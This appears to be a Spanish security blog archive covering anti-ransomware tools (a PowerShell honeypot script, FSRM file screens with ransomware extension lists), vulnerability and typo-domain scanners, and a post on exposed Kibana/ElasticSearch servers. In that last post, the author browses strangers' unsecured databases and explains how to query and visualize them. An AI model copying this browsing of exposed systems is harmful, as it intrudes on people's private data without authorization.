martes, 26 de abril de 2016

PROTEIN - PROTEct your INformation. Otra herramienta más contra el RANSOMWARE .By Amador Pérez de New Vision Softlan

Estimados amigos de Inseguros !!!

En el post de hoy nos os voy a contar ninguna aventura, ninguna opinión, ningún proceso. 
Hoy vamos a darle el turno al amigo Amador Pérez de New Vision Soflan @c0p3rnic0 para que nos cuente un interesante proyecto que ha llevado a cabo de manera altruista, si !!! gratis !!! para la lucha contra el ransomware que tanto nos preocupa.

El hombre se ha prestado a ayudarnos a todos con este script Powershell, por lo que le doy las gracias y espero que os guste.Gracias !!!!

¿Qué es PROTEIN?


PROTEIN es un script en Powershell desarrollado por Amador Pérez Trujillo (aka @c0p3rnic0).
Amador Pérez actualmente es el CEO de New Vision SoftLan, empresa focalizada en proporcionar soluciones de seguridad protegiendo el activo más valioso y sensible de una empresa: su información.

HACKING-PROTEIN

PROTEIN utiliza las capacidades de monitorización que proporciona .NET para controlar el uso que se hace de la información almacenada en un repositorio (carpetas). A partir de la captura de los eventos producidos en el repositorio, evalúa si los ficheros creados son confiables. En el caso contrario actúa alertando al administrador de sistemas, bloqueando la cuenta de usuario del dominio y deshabilitando la tarjeta de red de la máquina infectada para detener su propagación.


¿Cómo funciona?


PROTEIN se basa en una función combinada de tres elementos para detectar posibles ataques de ransomware:

  • Blacklist: Listado de extensiones conocidas de ransomware 
  • Whitelist: Listado de extensiones permitidas en nuestro repositorio 
  • Honeypot: carpeta utilizada para atrapar nuevos ransomware 

Mediante la BlacklistPROTEIN constantemente monitoriza la creación de nuevos ficheros y los compara a los almacenados en esa lista. Actualmente están registradas como extensiones de ransomware las siguientes:

.ecc,.ezz,.exx,.zzz,.xyz,.aaa,.abc,.ccc,.vvv,.xxx,ttt,.micro,.encrypted,.locked,.crypto,_crypt,.crinf,.r5a,.XRNT,.XTBL,.crypt,.R16M01D05,.pzdc,.good,.LOL!,.OMG!,.RDM,.RRK,.encryptedRSA,.crjoker,.EnCiPhErEd,.LeChiffre,.keybtc@inbox_com,.0x0,.bleep,.1999,.vault,.HA3,.toxcrypt,.magic,.SUPERCRYPT,.CTBL,.CTB2,.locky,.mp3,.hydracryp


El fichero que contiene la lista de extensiones en texto plano es ransomware_list.config, un fichero en texto plano que puede ser modificado como el usuario desee:

HACKING-RANSOMWARE

Tan pronto PROTEIN detecta la creación de un fichero con una extensión de este tipo, se realizan tres acciones :

1.     Alerta por correo electrónico al administrador de sistema. 
2.     Bloquea el usuario del directorio activo que está siendo utilizado por el ransomware para cifrar la información. 
3.     Deshabilita la tarjeta de red del ordenador del usuario infectado para evitar la propagación del ransomware incluso reiniciando el sistema así como cortando cualquier conexión con Internet bloqueando la descarga de claves para cada fichero infectado con la automática desactivación del ataque. 
4.     Alerta al usuario de que ha sido infectado por un ransomware mediante un mensaje emergente.

Por otro lado PROTEIN se nutre de un listado de extensiones permitidas en el sistema como elemento predictivo de nuevos ransomware no detectados (nuevos y no registrados por nadie hasta la fecha) o no actualizados en la lista Blacklist de extensiones de ransomware. Este listado se encuentra almacenado en el archivo "white_list.config". Actualmente este fichero contiene 725 extensiones permitidas, estando cubierta un amplio rango de las extensiones reconocidas por el sistema operativo y programas comúnmente utilizados. En el caso de querer añadir una nueva extensión permitida, tan sólo hace falta agregarla a este fichero que está en texto plano.

HACKING-WHITELIST

Para esta detección PROTEIN trabaja de dos formas diferentes. 

  • Por un lado analizando una carpeta "Señuelo" (honeypot) y actuando en caso de modificación de su contenido. Esa carpeta señuelo es creada automáticamente cuando se instala (se ejecuta ./protein.ps1 --install) y se indica el repositorio a analizar. El nombre que se le da a la carpeta "señuelo" es "_AntiRansomware", conteniendo tres archivos tipo .docx que son los monitorizados comprobando que en todo momento existen. En el caso de no existir  alguno de esos archivos (un ransomware está empezando ha actuar) automáticamente actua según el procedimiento anteriormente explicado, es decir: 
    • Alerta por correo electrónico al administrador de sistema 
    • Bloquea el usuario del directorio activo que está siendo utilizado por el ransomware para cifrar la información 
    • Deshabilita la tarjeta de red del ordenador del usuario infectado para evitar la propagación del ransomware incluso reiniciando el sistema así como cortando cualquier conexión con Internet bloqueando la descarga de claves mediante conexiones TOR con la automática desactivación del ataque

  • Por el otro analizando la lista de extensiones conocidas. En este caso, PROTEIN por defecto está configurado para tan sólo registrar que se ha creado un nuevo fichero de extensión desconocida y no actuar ante él (lo registra en un fichero de log), pudiéndose cambiar la forma de actuar simplemente copiando el procedimiento de envío de alertas y bloqueo de usuario y tarjeta de red para esta acción, puesto que el código está publicado para su modificación.


Paralelmente PROTEIN almacena un registro alertando de la infección para su consulta posterior. Como ejemplo podemos ver como interceptó la infección de un ransomware en un repositorio denominado "REPOSITORIO FICTICIO", mostrando el registro creado en el log:


Podemos observar como detecta el fichero como un ransomware e informa que se ha bloqueado, deshabilitado el usuario que está utilizando el ransomware para cifrar la información y por último informa que ha deshabilitado su tarjeta de red.

PROTEIN utiliza la Clase io.filesystemwatcher de ,NET. Esta Clase escucha las notificaciones de cambio del sistema de archivos y genera eventos cuando cambia un directorio o un archivo de un directorio. 


Aprovechando esta funcionalidad, capturamos estos eventos y cuando se cree un archivo lo analizamos para ver si es un ransomware o no.


Os dejo tres vídeos que muestran el funcionamiento de PROTEIN:

Ransomware creado para fines "no malvados" :




Actuación PROTEIN lado cliente bloqueando una infección:




Actuación PROTEIN lado servidor, deshabilitando usuario y alertando:



Desde este enlace podéis descargar la herramienta tanto compilado en .exe como en .ps1:
https://github.com/c0p3rnic0/PROTEIN

Tambien disponible en BitBucket: https://bitbucket.org/c0p3rnic0/protein



Gracias Amador por este excelente trabajo y por presentarlo en esta humilde comunidad !!!

viernes, 22 de abril de 2016

Joomlavs: Otro scanner de vulnerabilidades Joomla.

Estimados amigos de inseguros!!!

En esta pequeña entrada vamos a presentar la herramienta Joomlavs para análisis de vulnerabilidades sobre plataformas CRM Joomla. El creador es el señor Rastating

HACKING

Como hacen la mayoría de aplicaciones denominadas "vuln scan" realizan su labor en base a la versión de la aplicación, no sobre pruebas propias. Me explico.

Imagina que un CRM Joomla versión 3.1 tiene un fallo en un fichero http://ip/directorio/fichero.php en el que podemos subir una shell, un RFI (Remote File Inclusion).

Con este tipo de herramientas, si detecta que la versión de Joomla es 3.1, nos mostraría este fallo, pero no realmente porque la herramienta haya intentado subir un fichero mediante esa url.

Esa es la parte que tiene que hacer el auditor para descartar falsos positivos.

La herramienta se instala de manera sencilla, se copia el repositorio y se instalan las gemas ruby necesarias:

  1. Ensure Ruby [2.0 or above] is installed on your system
  2. Clone the source code using git clone https://github.com/rastating/joomlavs.git
  3. Install bundler and required gems using sudo gem install bundler && bundle install

El proceso de uso es muy sencillo, le damos una url y le decimos que a tope:

HACKING

HACKING

El conjunto de opciones completas lo tenemos aquí:

HACKING

Navegando por el proyecto y el código fuente vemos como existen distintos ficheros con el conjunto de versiones-fallos guardados en json, lo que usa la herramienta para alertar de los posibles positivos.

HACKING

Como siempre, espero que os sea útil esta herramienta tanto para procesos de pentesting, como de fortificación de servidores propios. 

Gracias por leerme !!!





jueves, 21 de abril de 2016

Como evitar el cifrado por ransomware de un servidor Windows con las herramientas GRATUITAS del sistema.

Estimados amigos de Inseguros !!!

El ransomware acapara numerosas publicaciones y está siendo una de las amenazas con mayor repercusión y con mayor crecimiento en este último 2015 y se prevé que siga en crecimiento a lo largo de este 2016.


Tomemos como descripción la Wikipedia: Un ransomware (del inglés ransom rescate y ware, software) es un tipo de programa informático malintencionado que restringe el acceso a determinadas partes o archivos del sistema infectado, y pide un rescate a cambio de quitar esta restricción.

Algunos tipos de ransomware cifran los archivos del sistema operativo inutilizando el dispositivo y coaccionando al usuario a pagar el rescate.

Durante el 2015 fue la amenaza con más crecimiento en el ámbito de la ciberseguridad, ya que de manera rápida, proporciona suculentos ingresos a los ciberdelicuentes que explotan dicho vector de ataque.

En el blog de Eset Protegerse hemos hablado en numerosas ocasiones de las distintas variantes que aparecen para los distintos sistemas, desde equipos Android, equipos Windows, los Mac y su “no-virus” etc. Mi compañero Josep Albors se ha hecho un experto en la materia.

Aunque siempre debemos confiar en nuestros sistemas de antivirus para su detección, existe una mínima franja de tiempo desde que aparecen algunas muestras y los sistemas son capaces de detenerlas, para ellos, les ofrecemos una pequeña guía de ayuda.

En el artículo de hoy vamos a implementar una solución basada en FILE SERVER RESOURCE MANAGER (Administrador de recursos del servidor de ficheros). Esta opción está disponible de manera gratuita en Windows Server 2012 y anteriores añadiendo simplemente las características correspondientes, dentro del servidor de ficheros.



El concepto a desplegar es sencillo. Vamos a monitorizar los ficheros dentro de nuestro servidor de ficheros. Vamos a introducir una serie de extensiones maliciosas empleadas por el malware para cifrar. Vamos a poner un “señuelo” en esas carpetas para que en caso de infección, un equipo comenzará el proceso de cifrado, detectar el proceso y pararlo.

Lo primero que debemos hacer es tener una lista de extensiones empleadas por el malware más o menos actualizadas.

Pongamos como punto de partida este listado:

*.*AES256
*.*cry
*.*crypto
*.*darkness
*.frtrss
*.vault
*want your files back.*
confirmation.key
enc_files.txt
last_chance.txt
message.txt
recovery_file.txt
recovery_key.txt
vault.hta
vault.key
vault.txt
*.aaa
*help_your_files*.*

En el FSRM creamos un grupo de archivos que incluya este tipo de extensiones.



El siguiente paso es crear una plantilla de actuación, en la que definiremos el comportamiento deseado ante la detección de un fichero con la extensión mencionada.


Una de las opciones básicas es configurar un mensaje y cuenta de correo para notificar el incidente.


A continuación sería una buena idea escribir un evento en el registro de Windows para reenviar posteriormente a un sistema de correlación SIEM o simplemente para efectos de control.


Como es normal, no solo queremos detectar que hemos sido víctimas de un ataque por ransomware, sino que queremos prevenir o mitigar las temidas consecuencias. Para ello, habilitamos una sesión de comandos al encontrar un cambio en los ficheros.


El comando o comandos que podemos ejecutar mediante este “disparador” o monitor son infinitos. 

Podemos optar por apagar el servidor de ficheros. Podemos optar por bloquear el acceso al usuario de red que ha intentado modificar los ficheros (el malware). Podemos bloquear la dirección IP de entrada al servidor desde el equipo que origina la infección.Particularmente prefiero apagar el servidor. Esto dejará a los usuarios sin servicio, pero es una manera radical de evitar la infección.

Por último, configuramos donde queremos que se aplique el filtro.


Tenemos que ser conscientes de que este servicio de monitorización consume recursos en el sistema, y que en grandes entornos con miles y millones de ficheros podría producir penalizaciones en el rendimiento del servicio.Para ello empleamos un pequeño truco. En los sistemas Windows el guion bajo (¬_) es el primer carácter que aparece en una ordenación, por lo que creamos una carpeta con este nombre y esta será la que sea monitorizada por FSRM.A efectos prácticos en caso de producirse una infección, el proceso de cifrado comienza por la carpeta “señuelo”.

En un entorno real, se produce un lapsus de tiempo entre que el virus comienza a cifrar la carpeta señuelo, ejecuta el comando deseada (apagar) y se apaga el equipo o se ejecuta cualquiera otra opción, por lo que tenemos que contar con 5/10 ficheros cifrados. 

Esto es un pequeño defecto en el concepto, si bien, en un entorno de millones de ficheros, es un mal menor que seguro estamos dispuestos a pagar por evitar el temido cifrado del servidor de ficheros.

Para terminar, podemos ver como se ha producido el correspondiente registro en el visor de eventos. En esta prueba, un simple cambio manual de nombre de fichero.


Como suelo intentar en el blog, me gusta ponerme en la perspectiva real del administrador o usuario que realiza los procedimientos.

Hasta aquí, este artículo sería una copia más de los muchos que hay en la red sobre FSRM para detener amenazas del tipo ransomware. Ahora vamos a lo interesante.

El propio maestro MVP  Juan Garrido  dio una charla este año en Rooted . Cuando salgan los videos realizaré el enlace para ampliar la información.

Seguro que se te han planteado varias dudas.

1.- Como actualizo la lista de extensiones conforme aparecen las nuevas versiones?En todos mis fileservers?
2.- Como realizo esta gestión de manera centralizada en todos mis fileservers?
3.- Como soluciono el problema de las carpetas de usuario?*

Para este último punto vamos a poner un ejemplo. Tenemos un file server \\\ip\empleados\"usuario_del_dominio" y cada usuario tiene una unidad de red conectada a su carpeta. Donde colocamos la carpeta "señuelo" ?
Vamos a ver como podemos ayudar. Lo primero que tenemos es una lista mía personal que mantengo con las extensiones que voy documentando. La puedes descargar desde aquí: Lista de extensiones ransomware

He subido a mi repositorio de Github un pequeño script, muy cutre, pero altamente funcional. Si alguien quiere modificar algo o ayudarme/ayudarnos, está invitado, yo no tengo mucha idea.
Os pego el Script:

## Autor: Jmolina Kinomakino
## blog http://kinomakino.blogspot.com.es/
## @kinomakino
## Con este script podemos definir una seria de extensiones usadas por ransomware y usarlas en un servidor FSRM sobre Windows 
## para apagar el servidor y enviar un e-mail.
## Ejecuta el script con el parámetro de la carpeta que quieres monitorizar. por ejemplo : Script.ps1 c:\datos\
## El script primero borra los grupos y plantillas, no se comprueba que existen, por lo que la primera vez que se ejecuta puede
## dar algún problema. Ejecútalo varias veces y desaparecen los mensajes de error.
## De esta manera se puede programar una tarea para que se actualización.
## Si quieres incorporar extensiones propias, ten en cuenta que con la actualización las perders. Te animo a que me las envies 
## a kinomakino@hotmail.com para añadirlas al repo. param (
[string]$filePath
) ## Datos de correo
Set-FsrmSetting -SmtpServer "SMTP.SMTPSERVER.COM" -AdminEmailAddress "direccion_email" -FromEmailAddress "direccion_email" ## descarga de las extensiones
$extensiones = (Invoke-WebRequest "https://raw.githubusercontent.com/kinomakino/ransomware_file_extensions/master/extensions.csv”).Content
$grupo_ext = @()
foreach($line in $extensiones.Split("`r`n”)){ if ($line -ne "”) {$grupo_ext += $line} }
## exista o no, borramos el grupo de extensiones
Remove-FsrmFileGroup -Name "Extensiones" -Confirm:$false
## creamos el grupo de extensiones
New-FsrmFileGroup -Name "Extensiones" –IncludePattern $grupo_ext
## configuramos las acciones
$Notification = New-FsrmAction -Type Email -MailTo "direccion_email" -Subject "Cuidado, alguien quiere joderte" -Body "El usuario [Source Io Owner] ha intentado guardar [Source File Path] en [File Screen Path] en el servidor [Server]. Este archivo se encuentra en el grupo de archivos [Violated File Group], que no está permitido en el servidor." -RunLimitInterval 120 
$Notification2 = New-FsrmAction -Type Command -Command "c:\Windows\System32\shutdown.exe" -CommandParameters "-s -f -t 00" -SecurityLevel LocalService -KillTimeOut 0
## exista o no, borramos la plantilla
Remove-FsrmFileScreenTemplate -Name "Anti-Ransomware" -Confirm:$false 
## creamos la plantilla
New-FsrmFileScreenTemplate -Name "Anti-Ransomware" -Active:$true –IncludeGroup "Extensiones" -Notification $Notification,$Notification2 
## exista o no, quitamos la configuracion de la ruta a monitorizar
Remove-FsrmFileScreen $filePath -Confirm:$false
## activamos la monitorización de la ruta pasada como parámetro.
New-FsrmFileScreen -Path $filePath -Active:$true -Description "Monitorizar ransomware" –IncludeGroup "Extensiones" –Template "Anti-Ransomware" 

Creo que está suficientemente claro lo que hace. Si lo añadimos a una tarea programada y lo ejecutamos en cada servidor, indicando la carpeta a monitorizar, tenemos la configuración hecha. (Para leerlo bien entra a Github a mi repositorio)

Existe la posibilidad de exportar un xml con la configuración, pero entiendo que en cada servidor tenemos una estructura distinta de carpetas.

La 3ª duda que comentaba arriba era referida a grandes servidores de ficheros. Monitorizar la raíz de un fileserver, imagina \\ip\datos\  de 1 Tb puede que resienta el rendimiento.

Un caso muy común es tener una carpeta por usuario, mapeada a una unidad de red. 

Podríamos crear un señuelo directorio/carpeta en cada carpeta, y habilitar la monitorización de esa carpeta de usuario. Este trabajo, en un entorno de 2000 usuarios, sería algo tedioso.

Se me ha ocurrido una chapuza, un script bat que recorre el directorio que se le indique, y en cada subdirectorio que encuentra crea un directorio _honeypot\ y un fichero txt. Además, ejecuta una versión modificada del script de configuración de FSRM para que incluya la carpeta creada al sistema FSRM.

Para ello lo único que tienes que hacer es una copia del script powershell original, y quitarle la linea que borra el path: Remove-FsrmFileScreen $filePath -Confirm:$false

El siguiente paso es crear el fichero bat que ejecute el powershell:

FOR /d %%A IN (c:\cosas\*) DO  (mkdir "%%A\_no_borrar" & type NUL > %%A\_no_borrar\no_borrar.txt & Powershell.exe -executionpolicy remotesigned 
-File  C:\fsrm-2.ps1 %%A\_no_borrar\)

c:\cosas sería tu raíz de carpetas compartidas para usuarios.
c:\fsrm-2.ps1 sería el script modificado.

Espero que te haya gustado el artículo de hoy.

Si tienes alguna duda concreta sobre este procedimiento a los scripts, no dudes en preguntar.

Como siempre te recordamos no pagar nunca y te animamos a contactar con nosotros para solventar cualquier duda al respecto.

Recuerda que la defensa ante el ransomware es la tendencia marcada por los cibercriminales para este año y me temo que para los siguientes. Nada de "romperte" el ordenador, si pueden sacar pasta por ello.

No olvides tener un antivirus legal y actualizado.
No olvides tener copias de seguridad.

Existen otras soluciones con software libre interesante y que llevan cierto tiempo funcionando, y por lo que me consta, bastante bien. En este caso hemos hablado de la gracia de usar una herramienta NATIVA de servidores Windows, pero si tu opción es usar una herramienta externa, y compatible con Windows de escritorio, sin duda puedes usar Anti-RAnsom del señor Yago Jesús. Una herramienta con varias actualizaciones ya y que sin duda te hará feliz. Por cierto, no te pierdas el resto de herramientas. Gracias señor !!!

Gracias por leerme ¡!!



jueves, 14 de abril de 2016

Problemas con Virtualbox para los Microsoft Insiders y últimas actualizaciones? Control Flow Guard. Solución

Estimados amigos de Inseguros !!!

El otro día preparé un artículo en el blog de protegerse de Eset sobre Bash Ubuntu sobre Windows 10.

El artículo le ha gustado mucho a la gente, al menos ha tenido bastantes visitas. Gracias a todos !!!

Uno de los requisitos para ejecutar la aplicación Bash Ubuntu sobre Windows 10 era tener una compilación previa (Saldrá en verano) mediante el programa Windows Insiders de beta testing.

Una vez actualizado el sistema con esta compilación resulta que VirtualBox deja de funcionar. Esto es debido a una implementación de seguridad mejorada denominada Control Flow Guard que según Microsoft, añade una capa más de seguridad a ASLR y DEP. La idea es prever en funciones del sistema la inyección de llamadas a otras funciones mediante la referencia de un área de memoria y no a una función esperada, o eso es lo que he entendido :-)


El resultado del post no es experimentar sobre esta función, sinceramente se me va de mi ámbito de conocimiento. Simplemente es para informaros que instalando de nuevo Virtualbox en la versión que ofrecen en su web de descargas NO soluciona el problema. Tenemos que acceder a una nueva versión de Virtualbox aún no "publicada" en su web de descargas. No aparentemente. La versión que debemos descargar es 5.0.17-106...

Espero que te haya servidor de ayuda si de repente te has quedado sin Virtualbox en tu Windows 10.

Gracias por leerme !!!

domingo, 10 de abril de 2016

URLCRAZY. Generación de dominios aleatorios al original.

Estimados amigos de Inseguros !!!

En el capitulo de hoy vamos a comentar una pequeña pero útil herramienta para la seguridad de nuestra empresa, o en algunos casos, para procesos maliciosos xD.


Vamos a hablar de la herramienta URLCRAZY. El concepto es parecido al de la herramienta DNSTWIST que comentamos hace unos días en este blog. Introducir un dominio y en base a varios parámetros, genera una lista de dominios "similares" comprobando su existencia y realizando la resolución dns para ver si existe.

La instalación requiere bajarse la aplicación y ejecutarla, teniendo Ruby instalado previamente.



Los variaciones que puede generar la herramienta son las siguientes:

Character Omission
www.goole.com and www.gogle.com
Character Repeatwww.gooogle.com
Adjacent Character Swap
www.googel.com and www.ogogle.com
Adjacent Character Replacement
www.googke.com and www.goohle.com
Double Character Replacement
www.gppgle.com and www.giigle.com
Adjacent Character Insertion
www.googhle.com and www.goopgle.com
Missing Dot
wwwgoogle.com and www.googlecom
Strip Dashes
www.domain-name.com becomes www.domainname.com
Singular or Pluralise
www.googles.com and www.games.co.nz becomes www.game.co.nz
Common Misspellings
www.youtube.com becomes www.youtub.com and www.abseil.com becomes www.absail.com
Vowel Swapping
www.google.com becomes www.gaagle.com.
Homophones
www.base.com becomes www.bass.com.
Homoglyphs
google.com becomes goog1e.com.
Wrong Top Level Domain
www.google.com becomes www.google.org

Wrong Second Level Domain
www.trademe.ac.nz and www.trademe.iwi.nz
Bit Flipping
bacebook.com, dacebook.com, faaebook.com,fabebook.com,facabook.com, etc.
Espero que os guste !!!

Gracias por leerme !!!

martes, 5 de abril de 2016

Sandia Cyber Omni Tracker (SCOT). Herramienta para SOC gratuita.

Estimados amigos de Inseguros !!!

En el apartado de hoy vamos a hablar de una herramienta MUY interesante para la gestión del departamento de seguridad, o SOC (Security Operations Center). Sandia Cyber Omni Tracker. 

No es la primera vez que hablamos de este tipo de herramientas en el blog. Una herramienta muy interesante la comentamos con el artículo de MISP.

Realmente sería adecuado para la fase de respuesta a incidentes.


La herramienta no detecta incidentes ni nada por el estilo. Simplemente es un repositorio centralizado de conocimiento para que el trabajo de los analistas se comparta entre grupos grandes para encontrar patrones y compartir información.

Una vez seguido el proceso de instalación, automático, tenemos la herramienta disponible para su uso.

Después de realizar las configuraciones habituales y algunas de las recomendaciones que me indican los desarrolladores, paso a la fase de trasteo.



Como se aprecia en la imagen, podemos añadir información y ficheros. Automáticamente calcula los distintos hashes e identifica en amarillo los IOC´s.



La herramienta proporciona posibilidades de conexión con un api tipo REST para introducir eventos, al igual que podemos hacerlo mediante un simple buzón de correo de entrada.

El trabajo tiene muy buena pinta pero la herramienta es un poco "poco usable" al menos en los navegadores que he probado. Quizás sea un proyecto a seguir de cerca y su evolución para el futuro.

Como siempre recomiendo leer la documentación oficial en detalle y que cada uno haga sus pruebas.

Espero que os sirva de ayuda, gracias por leerme !!!





lunes, 4 de abril de 2016

ElasticSearch, Kibana: dámelo todo papi !!!

Estimados amigos de Inseguros !!!

En esta ocasión vamos a hablar del sistema ElasticSearch y Kibana.

Big Data? Nosql? Realmente ElasticSearch, a partir de ahora ES, es un sistema de base de datos no relacional basado en un motor Java y en un almacenamiento nativo en JSON.

Es un motor de base de datos optimizado para las consultas por texto, con un lenguaje de consulta muy simple, olvídate de select * !!! preguntamos por el campo, recorremos el índice y realmente de manera rápida, obtenemos los resultados.


Una de las cosas buenas que tiene ES es que no depende de un esquema de datos previo para introducir información, por lo que no hace falta diseñar el esquema como con xml por ejemplo.

Kibana es un front end para realizar esas consultas y definir cuadros de mando bonitos con la información que queremos buscar, así como un motor de búsqueda.

En mi caso lo uso para visualizar datos de inteligencia de dominios, ip, hashes y demás muestras que vamos realizando por nuestros sensores.




En muchos escenarios se utiliza el conjunto denominado ELK, ES, Logtash y Kibana, para gestionar de manera masiva eventos.

Como con cualquier servicio, debemos tener en cuenta que al publicarlo en Internet lo hacemos accesible, sea de la manera que lo publiquemos. Esconder la dirección exacta, el puerto, son medidas que ya sabemos que no funcionan. La única manera de proteger estos sistemas expuestos es mediante autenticación, bien sea la que trae el propio sistema o mediante authdigest en el webserver, restringir los extremos que se van a conectar...lo de siempre, pero NUNCA dejarlo abierto esperando que la ocultación haga efecto.


Vamos a empezar por dar una vuelta a unos cuantos kibana que he encontrado por la red que me ha parecido curiosos para comentar. Al más puro estilo voyeur con las cámaras expuestas en Internet, vamos a ver que trabaja la gente...

El método para encontrar los sistemas ha sido Shodan y algo de google dorks. Por respeto no voy a publicar los dorks de Kibana, pero con que le pongas un poco de imaginación podrás obtenerlos.

Es increible como un sistema que requiere mas o menos de ciertos conocimientos para instalarlo-no pero si para trabajarlo, y que se hagan estas configuraciones tan penosas.

PERO LO MAS PENOSO DE TODO es que el fabricante, el vendedor, los desarrolladores de este producto no implemente de serie la autenticación.

Ya sabemos que pasa cuando dejamos instalar un sistema con una clave débil o blanca, y se ACONSEJA cambiarla. Que no se hace. Un sistema como este, debería tener los mínimos exigibles de usuario/pass.

En este caso le toca a un sistema de seguridad, con aparentes mensajes que provienen de un syslog, o una aplicación dedicada o un firewall, pero enumera un montón de intentos de login a un ssh con distintos user/pass. A modo de honeypot podríamos usar sus datos para nuestros registros. Gracias amigos.


El siguiente sistema expuesto y peligroso es a lo que me parece un sistema de publicidad para juegos de móviles. publican el error_log y el access log directamente si esconder los campos de constraseña, como aconsejamos por aquí en este artículo sobre prevención de fugas de información en logs. 



Las implantaciones correctas lo muestran así:


Con este me he reído un poco porque el índice de datos se denomina MWAC. Lo primero que hice fue ver que eran esas siglas. De todos los organismos que me aparecieron, sin duda, el más gracioso fue MOM WITH A CAMERA. Qué clase de afición es esa !!!!! Tras investigar los logs, me di cuenta que no eran vídeos de madres enseñando ganchillo, pero si información útil para mi como dominios bloqueados, direcciones ip white/black list y cosas así. Uno de los campos que usaban para filtrar era la versión del cliente, por lo que buscando por eso dato me aparece la empresa Malwarebytes anti malware, y que su última versión es la que indica kibana, blanco y en botella. Alguna gestión de logs de este curioso antivirus, o quizás ni sea un av, o no sea de ellos, pero los datos cuadran. Me he reído un poco.



Ahora vamos a ver algunos un tanto inquietantes. Estos aprovechan la capacidad de búsqueda rápida que ofrece ES para realizar tareas de "big data?"  tenía que decirlo :-).

En este sistema vemos como se recopilan informaciones de inteligencia, o al menos eso parece, buscando por varios patrones aparecen artículos delicados. Imagino que será de algún medio de noticias, sino de algún gobierno. En este caso busco información del ISIS y aparece esto, aunque aparecen MUCHOS más.


Otro sistema que me ha parecido curioso de mostrar es una monitorización de logs de un canal de chat de un sistema de video, al parecer, muy popular en EEUU. El servicio es Twitch. No se si es la propia empresa la que publica esta información, o los propietarios del canal, empresas de control, no tengo ni la más remota idea, pero hago una prueba para entrar en el char y ver si el sistema está on line y efectivamente, todo lo que pasa por ese canal se guarda en ES y se muestra en kibana. Aunque no lo he puesto, curioso buscar también por password en el registro. Los adolescentes intercambian claves de "cosas" de juegos todos los días.



Es curiosa la cantidad de información que podemos obtener de estos sistemas expuestos. Además se consideraría deep web ya que los navegadores no acceden al contenido de kibana, no se indexa, por lo que podría ser útil disponer de este tipo de información para ciertas investigaciones. Sobre todo como se usa para guardar logs, direcciones ip que se van registrando en distintos sistemas. Sería como una correlación de eventos "ajenos" :-). 

Otro caso curioso, una empresa tecnología de esas que venden "machine learning". Vamos a ver señores, si sois profesionales, ponerle clave a estas cosas !!! Al parecer esta empresa gestiona reputación en algún portal y lleva un control de publicación de imágenes desnudas o no, para su gestión. A ver si el mahcine learning es becarios viendo imágenes para ver si son gatitas o no...No lo se, pero seguridad en kibana no tienen...



Otro curioso que me aparece es un sistema de control de errores normal, de cualquier aplicación, pero parece ser de un sistema de tracking de camiones. Como conozco algo el sector, se las basuras que se desarrollan en estos sistemas, y me ha dado la curiosidad de visitar el sistema. Como no, Zas, todo el sistemas de control de flota expuesto a internet. Lo gracioso es que lo venden... Pero se pueden ver los tránsitos de flota entre ciudades, el carrier, el teléfono, en algunos casos el coste...




Esto refuerza mi teoría que ha causado un poco de polémica con mi último artículo sobre la seguridad de las empresas de mi ciudad. Bloquear Tor o no no es un indicador directo de seguridad, pero si del mimo que se le tienen a las cosas. Con esto de los camiones igual. Es mas, apostaría pasta a que un pentesting completo sería un informe tipo biblia con hallazgos.

Imagina que quieres perpetrar un robo, un crimen, en una universidad. Estando las cosas como están conocer los sistemas de monitorización no estaría de mas. Esto es lo que pasa en esta instancia publicada de una universidad australiana.

Debido a la cantidad de información que maneja, es normal encontrar muchas instancias de información meteorológica. 


Cuando encontré este me puse un poco nervioso. Los datos de las máquinas virtuales de un hosting. Pensé, como tenga claves, tengo que ir al FBI, o mejor, a nuestro GDT que lo hacen mejor que los yankees. No fue el caso, pero existe toda la monitorización de recursos, ram, cpu y disco. En un APT al proveedor o a sus clientes podríamos usar estos registros para crear denegaciones de servicio mediante colapso de discos o cualquier otra cosa así.


Todos sabemos que los procedimientos de comunicación de claves a usuarios siempre han sido un vector a estudiar en un proceso de auditoria o fortificación. Creo que Chema Alonso hablaba de esto hace unos días.

Me he encontrado de todo tipo de casos, desde el correo en claro que se le envía al usuario con user/pass, hasta la típica url con el token de restauración de clave. Cuando hacemos esto, tenemos que darle una caducidad al token y sobre todo, pedir algún dato más. En muchos solo preguntaba "nueva clave"....



Una cosa que he aprendido es que se pueden compartir vídeos en Vimeo mediante una clave secreta. Veo unos cuantos logs con registros de este tipo. Solo por curiosidad decido ver algún vídeo, y no !!! no era pornografía !!! pero si muy muy curiosos !!!


Una de las plataformas que mas juega me ha dado ha sido una dedicada a la lectura de libros online. Aparte de registrar sus eventos "informáticos" tenían la base de datos de información de sus usuarios.

Me llama la atención tener a la mano la bbdd con la fotografía, correo, datos personales pero lo que mas me asusta es que tiene la geolocalización de la conexión. De la última conexión. Un criminal podría usar esta información para saber cuando alguien está en casa o fuera. Me parece tannn horroroso que se exponga esta información...



Algunos otros usos malosos que se me ocurren de todas estas bases de datos es vender las listas de correo para campañas de phising. Ya no se si se paga por esto, pero antes si se hacia.,,Lo mismo lo uso para que me suban las visitas del blog :-)


Este me gustó mucho por ser un sistema OSSEC del que tanto hemos visto por aquí con OSSIM y que uso a diario. Dejar un sistema de control de seguridad expuesto es el colmo de los colmos, pero a mi me gusta y me pasé un buen rato viendo que ataques registraban, qué reglas usaban etc.


De este caso no pude sacar ninguna conclusión clara, pero el tamaño de sus clientes de análisis web es como para que no estuviera open.



Ahora es el turno de ver ElasticSearch. El proceso de búsqueda de servidores expuestos, según me comenta el amigo que lo ha hecho XD , ha sido usar un scanner masivo de internet guardando no solo el banner que me interesaba, sino la respuesta que contenía la palabra Cluster ya que cuando accedes a ip:9200 de un servidor ElasticSearch te muestra esta información:

Una vez fichados algunos, vamos a realizar algunas consultas básicas. La más básica es consultar los índices para luego poder buscar información de estos índices. Podemos decir que un índice sería como un aglutinador, una tabla... El comando es ip:9200/_cat/indices?v' algunos resultados:


Como se aprecia en la imagen aparecen los datos del estado del índice (colores) y algunos campos como el número de registros, tamaño, etc.

Podemos pelearnos con la sintaxis de ES para poder buscar datos, pero se me ocurre una cosa, si kibana es el front-end del ES, y tengo una lista de ES que al parecer no piden login, por qué no me monto uno? Kibana es un java que puedes instalar en dos segundos, es más, yo lo instalo en una máquina Windows. Lo difícil ha sido encontrar una versión de Kibana para Windows que "mueva" bases de datos ES 1.4.1 que al parecer son la mayoría. 

Teniendo la versión correcta, basta con informar en el fichero /config/kibana.yml la dirección y puerto del servidor ES. Iniciamos el java y accedemos a localhost:5601, pero los datos que vemos esta vez son del ES que hemos "encontrado" por la red. Si todo ha ido bien, debemos decirle a Kibana el nombre del índice que queremos visualizar. Recuerdas el comando de arriba? vamos a darle:

